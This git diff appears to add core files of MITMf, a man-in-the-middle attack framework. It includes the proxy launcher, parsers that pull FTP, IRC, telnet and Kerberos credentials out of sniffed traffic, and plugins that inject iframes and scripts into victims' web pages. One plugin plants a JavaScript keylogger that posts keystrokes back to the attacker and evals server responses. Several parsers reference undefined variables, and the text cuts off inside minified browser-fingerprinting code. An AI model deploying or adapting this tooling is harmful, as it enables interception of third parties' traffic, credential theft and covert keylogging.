details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import os +import argparse +import threading +import sys +import logging + +from functools import wraps +from user_agents import parse +from libmproxy import controller, proxy +from libmproxy.proxy.server import ProxyServer +from core.logger import * + +if os.geteuid() != 0: + sys.exit('I needz r00t!') + +parser = argparse.ArgumentParser(description='MITMf', version='X', usage='mitmf.py -i INTERFACE [mitmf options] [plugin/module name] [plugin/module options]', epilog="Use wisely, young Padawan.") +group = parser.add_argument_group('MITMf', 'Options for MITMf') +group.add_argument('-i', dest='interface', required=True, help='Interface to bind to') +group.add_argument('--log-level', type=str, choices=['debug', 'info'], default='info', help='Specify a log level') +group.add_argument('--rproxy-port', metavar='PORT', type=int, default=10000, help='Regular proxy service port (default 10000)') +group.add_argument('--tproxy-port', metavar='PORT', type=int, default=10001, help='Transparent proxy service port (default 10001)') +group.add_argument('--ssl', type=str, metavar='PATH', dest='ssl', help='Enable SSL/TLS interception and use the certificate in PEM format at the specified path') + +from plugins import * +#Get everything that inherits from the Plugin class +plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()] + +if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + +options = parser.parse_args() +setup_logger(logging.__dict__[options.log_level.upper()]) + +from core.utils import get_ip, get_mac +ip = get_ip(options.interface) +mac = get_mac(options.interface) + +from core.netcreds import NetCreds +NetCreds().start(options, ip) + +called_plugins = [] + +#print "[-] Initializing modules, plugins and servers" +for plugin in plugins: + if vars(options)[plugin.optname] is True: + #print "|_ {} v{}".format(plugin.name, plugin.version) + called_plugins.append(plugin) + +def concurrent(func): + '''This makes all events concurrent (emulates the decorator in inline scripts)''' + + @wraps(func) + def concurrent_func(*args, **kwargs): + t = threading.Thread(name=func.func_name, target = func, args = args, kwargs = kwargs) + t.start() + return t + + return concurrent_func + +class StickyMaster(controller.Master): + + def __init__(self, server, logger): + controller.Master.__init__(self, server) + + self.logger = logger + self.handle_post_output = False + self.ip = ip + + for key, value in vars(options).iteritems(): + setattr(self, key, value) + + def parse_user_agent(self, ua): + user_agent = parse(ua) + self.logger.extra['browser'] = user_agent.browser.family + self.logger.extra['os'] = user_agent.os.family + try: + self.logger.extra['browser_v'] = user_agent.browser.version[0] + except IndexError: + self.logger.extra['browser_v'] = 'Other' + + def log(self, message): + self.logger.info(message) + + def run(self): + try: + for plugin in called_plugins: + plugin_hook = getattr(plugin, 'initialize') + plugin_hook(self) + + return controller.Master.run(self) + except KeyboardInterrupt: + #self.handle_shutdown() + self.shutdown() + + @concurrent + def handle_request(self, flow): + self.logger.extra['client'] = flow.client_conn.address.host + self.parse_user_agent(flow.request.headers['User-Agent'][0]) + self.logger.info(flow.request.pretty_host) + + for plugin in called_plugins: + plugin_hook = getattr(plugin, 'request') + plugin_hook(self, flow) + + if flow.request.method == "POST" and flow.request.content and (self.handle_post_output is False): + self.logger.info("POST Data ({}):\n{}".format(flow.request.host, flow.request.content)) + + self.handle_post_output = False + + flow.reply() + + @concurrent + def handle_responseheaders(self, flow): + for plugin in called_plugins: + plugin_hook = getattr(plugin, 'responseheaders') + plugin_hook(self, flow) + + flow.reply() + + @concurrent + def handle_response(self, flow): + for plugin in called_plugins: + plugin_hook = getattr(plugin, 'response') + plugin_hook(self, flow) + + flow.reply() + + def handle_shutdown(self): + for plugin in called_plugins: + plugin_hook = getattr(plugin, 'shutdown') + plugin_hook(self) + +config = proxy.ProxyConfig(mode='regular', ignore_hosts=[r'.*:443'], port=options.rproxy_port) +if options.ssl: + config = proxy.ProxyConfig(mode='regular', port=options.rproxy_port, certs=[('', options.ssl)]) + +server = ProxyServer(config) +rproxy_logger = ProxyLoggerAdapter(logging.getLogger('MITMf'), {'proxy': 'RProxy'}) +m = StickyMaster(server, rproxy_logger) +t = threading.Thread(name='regular-proxy', target=m.run) +t.setDaemon(True) +t.start() + +config = proxy.ProxyConfig(mode='transparent', ignore_hosts=[r'.*:443'], port=options.tproxy_port) +if options.ssl: + config = proxy.ProxyConfig(mode='transparent', port=options.tproxy_port, certs=[('', options.ssl)]) + +server = ProxyServer(config) +tproxy_logger = ProxyLoggerAdapter(logging.getLogger('MITMf'), {'proxy': 'TProxy'}) +m = StickyMaster(server, tproxy_logger) +m.run() \ No newline at end of file diff --git a/parsers/__init__.py b/parsers/__init__.py new file mode 100644 index 0000000..fca3b2d --- /dev/null +++ b/parsers/__init__.py @@ -0,0 +1,3 @@ +import os +import glob +__all__ = [os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/parsers/ftp.py b/parsers/ftp.py new file mode 100644 index 0000000..e3d1793 --- /dev/null +++ b/parsers/ftp.py @@ -0,0 +1,31 @@ +from parsers.parser import Parser +import re + +class FTP(Parser): + name = 'FTP' + + ftp_user_re = re.compile(r'USER (.+)\r\n') + ftp_pw_re = re.compile(r'PASS (.+)\r\n') + + def TCP_Parser(self, payload, src_ip_port, dest_ip_port): + # Sometimes FTP packets double up on the authentication lines + # We just want the lastest one. Ex: "USER danmcinerney\r\nUSER danmcinerney\r\n" + num = payload.lower().count('USER') + if num > 1: + lines = payload.count('\r\n') + if lines > 1: + payload = payload.split('\r\n')[-2] # -1 is '' + + # FTP and POP potentially use idential client > server auth pkts + ftp_user = self.ftp_user_re.match(payload) + ftp_pass = self.ftp_pass_re.match(payload) + + if ftp_user: + self.logger('FTP User: {}'.format(ftp_user.group(1).strip())) + if dst_ip_port[-3:] != ':21': + self.logger('Nonstandard FTP port, confirm the service that is running on it') + + elif ftp_pass: + self.logger('FTP Pass: {}'.format(ftp_pass.group(1).strip())) + if dst_ip_port[-3:] != ':21': + self.logger('Nonstandard FTP port, confirm the service that is running on it') \ No newline at end of file diff --git a/parsers/imap.py b/parsers/imap.py new file mode 100644 index 0000000..e69de29 diff --git a/parsers/irc.py b/parsers/irc.py new file mode 100644 index 0000000..761c68b --- /dev/null +++ b/parsers/irc.py @@ -0,0 +1,21 @@ +from parsers.parser import Parser +import re + +class IRC(Parser): + name = 'IRC' + + irc_user_re = re.compile(r'NICK (.+?)((\r)?\n|\s)') + irc_pw_re = re.compile(r'NS IDENTIFY (.+)') + irc_pw_re2 = re.compile('nickserv :identify (.+)') + + def TCP_Parser(self, payload, src_ip_port, dst_ip_port): + user_search = self.irc_user_re.match(payload) + pass_search = self.irc_pw_re.match(payload) + pass_search2 = self.irc_pw_re2.search(payload.lower()) + + if user_search: + self.logger('IRC nick: {}'.format(user_search.group(1))) + if pass_search: + self.logger('IRC pass: {}'.format(pass_search.group(1))) + if pass_search2: + self.logger('IRC pass: {}'.format(pass_search2.group(1))) \ No newline at end of file diff --git a/parsers/kerberos.py b/parsers/kerberos.py new file mode 100644 index 0000000..b826f2c --- /dev/null +++ b/parsers/kerberos.py @@ -0,0 +1,119 @@ +import struct +from parsers.parser import Parser + +class Kerberos(Parser): + name = 'Kerberos' + + def TCP_Parser(self, payload, src_ip_port, dst_ip_port): + kerb = str(pkt)[14:] + d={} + + d['header_len']=ord(kerb[0]) & 0x0f + d['data']=kerb[4*d['header_len']:] + Data = d['data'][20:] + + ''' + Taken from Pcredz because I didn't want to spend the time doing this myself + I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel? + Maybe replace this eventually with the kerberos python lib + Parses Kerberosv5 hashes from packets + ''' + try: + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] + except IndexError: + return + + if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": + if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + HashLen = struct.unpack(' 100: + self.telnet_stream.popitem(last=False) + mod_load = payload.lower().strip() + if mod_load.endswith('username:') or mod_load.endswith('login:'): + self.telnet_stream[dst_ip_port] = 'username ' + elif mod_load.endswith('password:'): + self.telnet_stream[dst_ip_port] = 'password ' \ No newline at end of file diff --git a/plugins/__init__.py b/plugins/__init__.py new file mode 100644 index 0000000..fca3b2d --- /dev/null +++ b/plugins/__init__.py @@ -0,0 +1,3 @@ +import os +import glob +__all__ = [os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/plugins/browserprofiler.py b/plugins/browserprofiler.py new file mode 100644 index 0000000..e3c2276 --- /dev/null +++ b/plugins/browserprofiler.py @@ -0,0 +1,22 @@ +import json +from plugins.plugin import Plugin +from plugins.inject import Inject +from pprint import pformat + +class BrowserProfiler(Plugin): + name = 'Browser Profiler' + optname = 'browserprofiler' + desc = 'Attempts to enumerate all browser plugins of connected clients' + ver = '0.3' + + def initialize(self, context): + context.js_file = open('plugins/resources/plugindetect.js', 'r') + + def request(self, context, flow): + if flow.request.method == 'POST' and ('clientprfl' in flow.request.path): + context.handle_post_output = True + pretty_output = pformat(json.loads(flow.request.content)) + context.log("[BrowserProfiler] Got data:\n{}".format(pretty_output)) + + def response(self, context, flow): + Inject().response(context, flow) \ No newline at end of file diff --git a/plugins/inject.py b/plugins/inject.py new file mode 100644 index 0000000..abfaf68 --- /dev/null +++ b/plugins/inject.py @@ -0,0 +1,64 @@ +import argparse +from bs4 import BeautifulSoup +from plugins.plugin import Plugin +from netlib.http import decoded + +class Inject(Plugin): + name = 'Inject' + optname = 'inject' + desc = 'Inject arbitrary content into HTML content' + version = '1.0' + + def response(self, context, flow): + if context.html_url and (flow.request.host in context.html_url): + return + + if context.js_url and (flow.request.host in context.js_url): + return + + if 'text/html' in flow.response.headers.get('content-type', ''): + with decoded(flow.response): + html = BeautifulSoup(flow.response.content.decode('utf-8', 'ignore'), 'lxml') + if html.body: + + if context.html_url: + iframe = html.new_tag('iframe', src=context.html_url, frameborder=0, height=0, width=0) + html.body.append(iframe) + context.log('[Inject] Injected HTML Iframe: {}'.format(flow.request.host)) + + if context.html_payload: + payload = BeautifulSoup(context.html_payload, "html.parser") + html.body.append(payload) + context.log('[Inject] Injected HTML payload: {}'.format(flow.request.host)) + + if context.html_file: + payload = BeautifulSoup(context.html_file.read(), "html.parser") + html.body.append(payload) + context.log('[Inject] Injected HTML file: {}'.format(flow.request.host)) + + if context.js_url: + script = html.new_tag('script', type='text/javascript', src=context.js_url) + html.body.append(script) + context.log('[Inject] Injected JS script: {}'.format(flow.request.host)) + + if context.js_payload: + tag = html.new_tag('script', type='text/javascript') + tag.append(context.js_payload) + html.body.append(tag) + context.log('[Inject] Injected JS payload: {}'.format(flow.request.host)) + + if context.js_file: + tag = html.new_tag('script', type='text/javascript') + tag.append(context.js_file.read()) + html.body.append(tag) + context.log('[Inject] Injected JS file: {}'.format(flow.request.host)) + + flow.response.content = str(html) + + def options(self, options): + options.add_argument('--html-url', dest='html_url', type=str, help='URL of the HTML to inject') + options.add_argument('--html-payload', dest='html_payload', type=str, help='HTML string to inject') + options.add_argument('--html-file', dest='html_file', type=argparse.FileType('r'), help='File containing HTML to inject') + options.add_argument('--js-url', dest='js_url', type=str, help='URL of the JS to inject') + options.add_argument('--js-payload', dest='js_payload', type=str, help='JS string to inject') + options.add_argument('--js-file', dest='js_file', type=argparse.FileType('r'), help='File containing JS to inject') diff --git a/plugins/jskeylogger.py b/plugins/jskeylogger.py new file mode 100644 index 0000000..9d3995a --- /dev/null +++ b/plugins/jskeylogger.py @@ -0,0 +1,43 @@ +from plugins.plugin import Plugin +from plugins.inject import Inject + +class JSKeylogger(Plugin): + name = 'JS Keylogger' + optname = 'jskeylogger' + desc = 'Injects a javascript keylogger into clients webpages' + version = '1.0' + + def initialize(self, context): + context.js_file = open('plugins/resources/msfkeylogger.js', 'r') + + def request(self, context, flow): + if flow.request.method == 'POST' and ('keylog' in flow.request.path): + + #Overrides the default POST output + context.handle_post_output = True + + raw_keys = flow.request.content.split("&&")[0] + input_field = flow.request.content.split("&&")[1] + + keys = raw_keys.split(",") + if keys: + del keys[0]; del(keys[len(keys)-1]) + + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice[:-1] + elif n == '13': + nice = '' + else: + try: + nice += n.decode('hex') + except: + context.log("[JSKeylogger] Error decoding char: {}".format(n)) + + context.log("[JSKeylogger] Host: {} | Field: {} | Keys: {}".format(flow.request.host, input_field, nice)) + + def response(self, context, flow): + Inject().response(context, flow) \ No newline at end of file diff --git a/plugins/plugin.py b/plugins/plugin.py new file mode 100644 index 0000000..74cf885 --- /dev/null +++ b/plugins/plugin.py @@ -0,0 +1,45 @@ +''' +The base plugin class. This shows the various methods that +can get called during the MITM attack. +''' +import argparse +import logging + +class Plugin(object): + name = "Example Plugin" + optname = "example" + desc = "" + version = "0.0" + + def __init__(self, parser=None): + '''Optionally Passed the options namespace''' + if parser: + if self.desc: + sgroup = parser.add_argument_group(self.name, self.desc) + else: + sgroup = parser.add_argument_group(self.name,'Options for the {} plugin'.format(self.name)) + + sgroup.add_argument('--{}'.format(self.optname), action='store_true',help='Load plugin {}'.format(self.name)) + + self.options(sgroup) + + def initialize(self, context): + '''Called when plugin is started''' + pass + + def shutdown(self, context): + '''This will be called when shutting down''' + pass + + def request(self, context, flow): + pass + + def responseheaders(self, context, flow): + pass + + def response(self, context, flow): + pass + + def options(self, options): + '''Add your options to the options parser''' + pass diff --git a/plugins/replace.py b/plugins/replace.py new file mode 100644 index 0000000..a7e517b --- /dev/null +++ b/plugins/replace.py @@ -0,0 +1,20 @@ +import re +from netlib.http import decoded +from plugins.plugin import Plugin + +class Replace(Plugin): + name = 'Replace' + optname = 'replace' + desc = 'Replace arbitrary content in HTML content' + version = '0.2' + + def response(self, context, flow): + if flow.response.headers.get_first("content-type", "").startswith("text/html"): + with decoded(flow.response): + for rulename, regexs in self.config['Replace'].iteritems(): + for regex1,regex2 in regexs.iteritems(): + if re.search(regex1, flow.response.content): + data = re.sub(regex1, regex2, flow.response.content) + context.log("[Replace] Occurances matching '{}' replaced with '{}' according to rule '{}' on {}".format(regex1, regex2, rulename, flow.request.host)) + + flow.response.content = data diff --git a/plugins/resources/msfkeylogger.js b/plugins/resources/msfkeylogger.js new file mode 100644 index 0000000..5110961 --- /dev/null +++ b/plugins/resources/msfkeylogger.js @@ -0,0 +1,117 @@ +window.onload = function (){ + var2 = ","; + name = ''; + function make_xhr(){ + var xhr; + try { + xhr = new XMLHttpRequest(); + } catch(e) { + try { + xhr = new ActiveXObject("Microsoft.XMLHTTP"); + } catch(e) { + xhr = new ActiveXObject("MSXML2.ServerXMLHTTP"); + } + } + if(!xhr) { + throw "failed to create XMLHttpRequest"; + } + return xhr; + } + + xhr = make_xhr(); + xhr.onreadystatechange = function() { + if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) { + eval(xhr.responseText); + } + } + + if (window.addEventListener){ + //console.log("first"); + document.addEventListener('keypress', function2, true); + document.addEventListener('keydown', function1, true); + } + else if (window.attachEvent){ + //console.log("second"); + document.attachEvent('onkeypress', function2); + document.attachEvent('onkeydown', function1); + } + else { + //console.log("third"); + document.onkeypress = function2; + document.onkeydown = function1; + } +} + +function function2(e) +{ + try + { + srcname = window.event.srcElement.name; + }catch(error) + { + srcname = e.srcElement ? e.srcElement.name : e.target.name + if (srcname == "") + { + srcname = e.target.name + } + } + + var3 = (e) ? e.keyCode : e.which; + if (var3 == 0) + { + var3 = e.charCode + } + + if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13) + { + andxhr(var3.toString(16), srcname); + } +} + +function function1(e) +{ + try + { + srcname = window.event.srcElement.name; + }catch(error) + { + srcname = e.srcElement ? e.srcElement.name : e.target.name + if (srcname == "") + { + srcname = e.target.name + } + } + + var3 = (e) ? e.keyCode : e.which; + if (var3 == 9 || var3 == 8 || var3 == 13) + { + andxhr(var3.toString(16), srcname); + } + else if (var3 == 0) + { + + text = document.getElementById(id).value; + if (text.length != 0) + { + andxhr(text.toString(16), srcname); + } + } + +} +function andxhr(key, inputName) +{ + if (inputName != name) + { + name = inputName; + var2 = ","; + } + var2= var2 + key + ","; + xhr.open("POST", "keylog", true); + xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); + xhr.send(var2 + '&&' + inputName); + + if (key == 13 || var2.length > 3000) + { + var2 = ","; + } +} \ No newline at end of file diff --git a/plugins/resources/plugindetect.js b/plugins/resources/plugindetect.js new file mode 100644 index 0000000..8c2c39b --- /dev/null +++ b/plugins/resources/plugindetect.js @@ -0,0 +1,74 @@ +/* +PluginDetect v0.9.0 +www.pinlady.net/PluginDetect/license/ +[ QuickTime Java DevalVR Flash Shockwave WindowsMediaPlayer Silverlight VLC AdobeReader PDFReader RealPlayer IEcomponent ActiveX PDFjs ] +[ isMinVersion getVersion hasMimeType onDetectionDone ] +[ AllowActiveX ] +*/ + +var PluginDetect={version:"0.9.0",name:"PluginDetect",addPlugin:function(p,q){if(p&&PluginDetect.isString(p)&&q&&PluginDetect.isFunc(q.getVersion)){p=p.replace(/\s/g,"").toLowerCase();PluginDetect.Plugins[p]=q;if(!PluginDetect.isDefined(q.getVersionDone)){q.installed=null;q.version=null;q.version0=null;q.getVersionDone=null;q.pluginName=p;}}},uniqueName:function(){return PluginDetect.name+"998"},openTag:"<",hasOwnPROP:({}).constructor.prototype.hasOwnProperty,hasOwn:function(s,t){var p;try{p=PluginDetect.hasOwnPROP.call(s,t)}catch(q){}return !!p},rgx:{str:/string/i,num:/number/i,fun:/function/i,arr:/array/i},toString:({}).constructor.prototype.toString,isDefined:function(p){return typeof p!="undefined"},isArray:function(p){return PluginDetect.rgx.arr.test(PluginDetect.toString.call(p))},isString:function(p){return PluginDetect.rgx.str.test(PluginDetect.toString.call(p))},isNum:function(p){return PluginDetect.rgx.num.test(PluginDetect.toString.call(p))},isStrNum:function(p){return PluginDetect.isString(p)&&(/\d/).test(p)},isFunc:function(p){return PluginDetect.rgx.fun.test(PluginDetect.toString.call(p))},getNumRegx:/[\d][\d\.\_,\-]*/,splitNumRegx:/[\.\_,\-]/g,getNum:function(q,r){var p=PluginDetect.isStrNum(q)?(PluginDetect.isDefined(r)?new RegExp(r):PluginDetect.getNumRegx).exec(q):null;return p?p[0]:null},compareNums:function(w,u,t){var s,r,q,v=parseInt;if(PluginDetect.isStrNum(w)&&PluginDetect.isStrNum(u)){if(PluginDetect.isDefined(t)&&t.compareNums){return t.compareNums(w,u)}s=w.split(PluginDetect.splitNumRegx);r=u.split(PluginDetect.splitNumRegx);for(q=0;qv(r[q],10)){return 1}if(v(s[q],10)r||!(/\d/).test(s[p])){s[p]="0"}}return s.slice(0,4).join(",")},pd:{getPROP:function(s,q,p){try{if(s){p=s[q]}}catch(r){}return p},findNavPlugin:function(u){if(u.dbug){return u.dbug}var A=null;if(window.navigator){var z={Find:PluginDetect.isString(u.find)?new RegExp(u.find,"i"):u.find,Find2:PluginDetect.isString(u.find2)?new RegExp(u.find2,"i"):u.find2,Avoid:u.avoid?(PluginDetect.isString(u.avoid)?new RegExp(u.avoid,"i"):u.avoid):0,Num:u.num?/\d/:0},s,r,t,y,x,q,p=navigator.mimeTypes,w=navigator.plugins;if(u.mimes&&p){y=PluginDetect.isArray(u.mimes)?[].concat(u.mimes):(PluginDetect.isString(u.mimes)?[u.mimes]:[]);for(s=0;s-1&&p>r&&s[p]!="0"){return q}if(v[p]!=s[p]){if(r==-1){r=p}if(s[p]!="0"){return q}}}return t},AXO:(function(){var q;try{q=new window.ActiveXObject()}catch(p){}return q?null:window.ActiveXObject})(),getAXO:function(p){var r=null;try{r=new PluginDetect.AXO(p)}catch(q){PluginDetect.errObj=q;}if(r){PluginDetect.browser.ActiveXEnabled=!0}return r},browser:{detectPlatform:function(){var r=this,q,p=window.navigator?navigator.platform||"":"";PluginDetect.OS=100;if(p){var s=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];for(q=s.length-2;q>=0;q=q-2){if(s[q]&&new RegExp(s[q],"i").test(p)){PluginDetect.OS=s[q+1];break}}}},detectIE:function(){var r=this,u=document,t,q,v=window.navigator?navigator.userAgent||"":"",w,p,y;r.ActiveXFilteringEnabled=!1;r.ActiveXEnabled=!1;try{r.ActiveXFilteringEnabled=!!window.external.msActiveXFilteringEnabled()}catch(s){}p=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","TDCCtl.TDCCtl","Shell.UIHelper","HtmlDlgSafeHelper.HtmlDlgSafeHelper","Scripting.Dictionary"];y=["WMPlayer.OCX","ShockwaveFlash.ShockwaveFlash","AgControl.AgControl"];w=p.concat(y);for(t=0;t=7?u.documentMode:0)||((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v)?parseFloat(RegExp.$1,10):7)}},detectNonIE:function(){var p=this,s=window.navigator?navigator:{},r=p.isIE?"":s.userAgent||"",t=s.vendor||"",q=s.product||"";p.isGecko=(/Gecko/i).test(q)&&(/Gecko\s*\/\s*\d/i).test(r);p.verGecko=p.isGecko?PluginDetect.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(r)?RegExp.$1:"0.9"):null;p.isOpera=(/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(r);p.verOpera=p.isOpera?PluginDetect.formatNum(RegExp.$2):null;p.isChrome=!p.isOpera&&(/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(r);p.verChrome=p.isChrome?PluginDetect.formatNum(RegExp.$2):null;p.isSafari=!p.isOpera&&!p.isChrome&&((/Apple/i).test(t)||!t)&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(r);p.verSafari=p.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(r)?PluginDetect.formatNum(RegExp.$1):null;},init:function(){var p=this;p.detectPlatform();p.detectIE();p.detectNonIE()}},init:{hasRun:0,library:function(){window[PluginDetect.name]=PluginDetect;var q=this,p=document;PluginDetect.win.init();PluginDetect.head=p.getElementsByTagName("head")[0]||p.getElementsByTagName("body")[0]||p.body||null;PluginDetect.browser.init();q.hasRun=1;}},ev:{addEvent:function(r,q,p){if(r&&q&&p){if(r.addEventListener){r.addEventListener(q,p,false)}else{if(r.attachEvent){r.attachEvent("on"+q,p)}else{r["on"+q]=this.concatFn(p,r["on"+q])}}}},removeEvent:function(r,q,p){if(r&&q&&p){if(r.removeEventListener){r.removeEventListener(q,p,false)}else{if(r.detachEvent){r.detachEvent("on"+q,p)}}}},concatFn:function(q,p){return function(){q();if(typeof p=="function"){p()}}},handler:function(t,s,r,q,p){return function(){t(s,r,q,p)}},handlerOnce:function(s,r,q,p){return function(){var u=PluginDetect.uniqueName();if(!s[u]){s[u]=1;s(r,q,p)}}},handlerWait:function(s,u,r,q,p){var t=this;return function(){t.setTimeout(t.handler(u,r,q,p),s)}},setTimeout:function(q,p){if(PluginDetect.win&&PluginDetect.win.unload){return}setTimeout(q,p)},fPush:function(q,p){if(PluginDetect.isArray(p)&&(PluginDetect.isFunc(q)||(PluginDetect.isArray(q)&&q.length>0&&PluginDetect.isFunc(q[0])))){p.push(q)}},call0:function(q){var p=PluginDetect.isArray(q)?q.length:-1;if(p>0&&PluginDetect.isFunc(q[0])){q[0](PluginDetect,p>1?q[1]:0,p>2?q[2]:0,p>3?q[3]:0)}else{if(PluginDetect.isFunc(q)){q(PluginDetect)}}},callArray0:function(p){var q=this,r;if(PluginDetect.isArray(p)){while(p.length){r=p[0];p.splice(0,1);if(PluginDetect.win&&PluginDetect.win.unload&&p!==PluginDetect.win.unloadHndlrs){}else{q.call0(r)}}}},call:function(q){var p=this;p.call0(q);p.ifDetectDoneCallHndlrs()},callArray:function(p){var q=this;q.callArray0(p);q.ifDetectDoneCallHndlrs()},allDoneHndlrs:[],ifDetectDoneCallHndlrs:function(){var r=this,p,q;if(!r.allDoneHndlrs.length){return}if(PluginDetect.win){if(!PluginDetect.win.loaded||PluginDetect.win.loadPrvtHndlrs.length||PluginDetect.win.loadPblcHndlrs.length){return}}if(PluginDetect.Plugins){for(p in PluginDetect.Plugins){if(PluginDetect.hasOwn(PluginDetect.Plugins,p)){q=PluginDetect.Plugins[p];if(q&&PluginDetect.isFunc(q.getVersion)){if(q.OTF==3||(q.DoneHndlrs&&q.DoneHndlrs.length)||(q.BIHndlrs&&q.BIHndlrs.length)){return}}}}}r.callArray0(r.allDoneHndlrs);}},isMinVersion:function(v,u,r,q){var s=PluginDetect.pd.findPlugin(v),t,p=-1;if(s.status<0){return s.status}t=s.plugin;u=PluginDetect.formatNum(PluginDetect.isNum(u)?u.toString():(PluginDetect.isStrNum(u)?PluginDetect.getNum(u):"0"));if(t.getVersionDone!=1){t.getVersion(u,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}if(t.installed!==null){p=t.installed<=0.5?t.installed:(t.installed==0.7?1:(t.version===null?0:(PluginDetect.compareNums(t.version,u,t)>=0?1:-0.1)))}return p},getVersion:function(u,r,q){var s=PluginDetect.pd.findPlugin(u),t,p;if(s.status<0){return null}t=s.plugin;if(t.getVersionDone!=1){t.getVersion(null,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}p=(t.version||t.version0);p=p?p.replace(PluginDetect.splitNumRegx,PluginDetect.pd.getVersionDelimiter):p;return p},hasMimeType:function(t){if(t&&window.navigator&&navigator.mimeTypes){var w,v,q,s,p=navigator.mimeTypes,r=PluginDetect.isArray(t)?[].concat(t):(PluginDetect.isString(t)?[t]:[]);s=r.length;for(q=0;q=0){p=(u.L.x==q.x?s.isActiveXObject(u,q.v):PluginDetect.compareNums(t,u.L.v)<=0)?1:-1}}return p},search:function(v){var B=this,w=v.$$,q=0,r;r=v.searchHasRun||B.isDisabled()?1:0;v.searchHasRun=1;if(r){return v.version||null}B.init(v);var F,E,D,s=v.DIGITMAX,t,p,C=99999999,u=[0,0,0,0],G=[0,0,0,0];var A=function(y,PluginDetect){var H=[].concat(u),I;H[y]=PluginDetect;I=B.isActiveXObject(v,H.join(","));if(I){q=1;u[y]=PluginDetect}else{G[y]=PluginDetect}return I};for(F=0;FG[F]&&PluginDetect.compareNums(p,v.Lower[D])>=0&&PluginDetect.compareNums(t,v.Upper[D])<0){G[F]=Math.floor(s[D][F])}}}for(E=0;E<30;E++){if(G[F]-u[F]<=16){for(D=G[F];D>=u[F]+(F?1:0);D--){if(A(F,D)){break}}break}A(F,Math.round((G[F]+u[F])/2))}if(!q){break}G[F]=u[F];}if(q){v.version=B.convert(v,u.join(",")).v}return v.version||null},emptyNode:function(p){try{p.innerHTML=""}catch(q){}},HTML:[],len:0,onUnload:function(r,q){var p,t=q.HTML,s;for(p=0;p'+PluginDetect.openTag+"/object>";for(p=0;p=0){return 0}r.innerHTML=u.tagA+q+u.tagB;if(PluginDetect.pd.getPROP(r.firstChild,"object")){p=1}if(p){u.min=q;t.HTML.push({spanObj:r,span:t.span})}else{u.max=q;r.innerHTML=""}return p},span:function(){return this.spanObj},convert_:function(t,p,q,s){var r=t.convert[p];return r?(PluginDetect.isFunc(r)?PluginDetect.formatNum(r(q.split(PluginDetect.splitNumRegx),s).join(",")):q):r},convert:function(v,r,u){var t=this,q,p,s;r=PluginDetect.formatNum(r);p={v:r,x:-1};if(r){for(q=0;q=0&&(!q||PluginDetect.compareNums(r,u?t.convert_(v,q,v.Upper[q]):v.Upper[q])<0)){p.v=t.convert_(v,q,r,u);p.x=q;break}}}return p},z:0},win:{disable:function(){this.cancel=true},cancel:false,loaded:false,unload:false,hasRun:0,init:function(){var p=this;if(!p.hasRun){p.hasRun=1;if((/complete/i).test(document.readyState||"")){p.loaded=true;}else{PluginDetect.ev.addEvent(window,"load",p.onLoad)}PluginDetect.ev.addEvent(window,"unload",p.onUnload)}},loadPrvtHndlrs:[],loadPblcHndlrs:[],unloadHndlrs:[],onUnload:function(){var p=PluginDetect.win;if(p.unload){return}p.unload=true;PluginDetect.ev.removeEvent(window,"load",p.onLoad);PluginDetect.ev.removeEvent(window,"unload",p.onUnload);PluginDetect.ev.callArray(p.unloadHndlrs)},onLoad:function(){var p=PluginDetect.win;if(p.loaded||p.unload||p.cancel){return}p.loaded=true;PluginDetect.ev.callArray(p.loadPrvtHndlrs);PluginDetect.ev.callArray(p.loadPblcHndlrs);}},DOM:{isEnabled:{objectTag:function(){var q=PluginDetect.browser,p=q.isIE?0:1;if(q.ActiveXEnabled){p=1}return !!p},objectTagUsingActiveX:function(){var p=0;if(PluginDetect.browser.ActiveXEnabled){p=1}return !!p},objectProperty:function(p){if(p&&p.tagName&&PluginDetect.browser.isIE){if((/applet/i).test(p.tagName)){return(!this.objectTag()||PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement("object"),"object"))?1:0)}return PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement(p.tagName),"object"))?1:0}return 0}},HTML:[],div:null,divID:"plugindetect",divWidth:500,getDiv:function(){return this.div||document.getElementById(this.divID)||null},initDiv:function(){var q=this,p;if(!q.div){p=q.getDiv();if(p){q.div=p;}else{q.div=document.createElement("div");q.div.id=q.divID;q.setStyle(q.div,q.getStyle.div());q.insertDivInBody(q.div)}PluginDetect.ev.fPush([q.onUnload,q],PluginDetect.win.unloadHndlrs)}p=0},pluginSize:1,iframeWidth:40,iframeHeight:10,altHTML:"     ",emptyNode:function(q){var p=this;if(q&&(/div|span/i).test(q.tagName||"")){if(PluginDetect.browser.isIE){p.setStyle(q,["display","none"])}try{q.innerHTML=""}catch(r){}}},removeNode:function(p){try{if(p&&p.parentNode){p.parentNode.removeChild(p)}}catch(q){}},onUnload:function(u,t){var 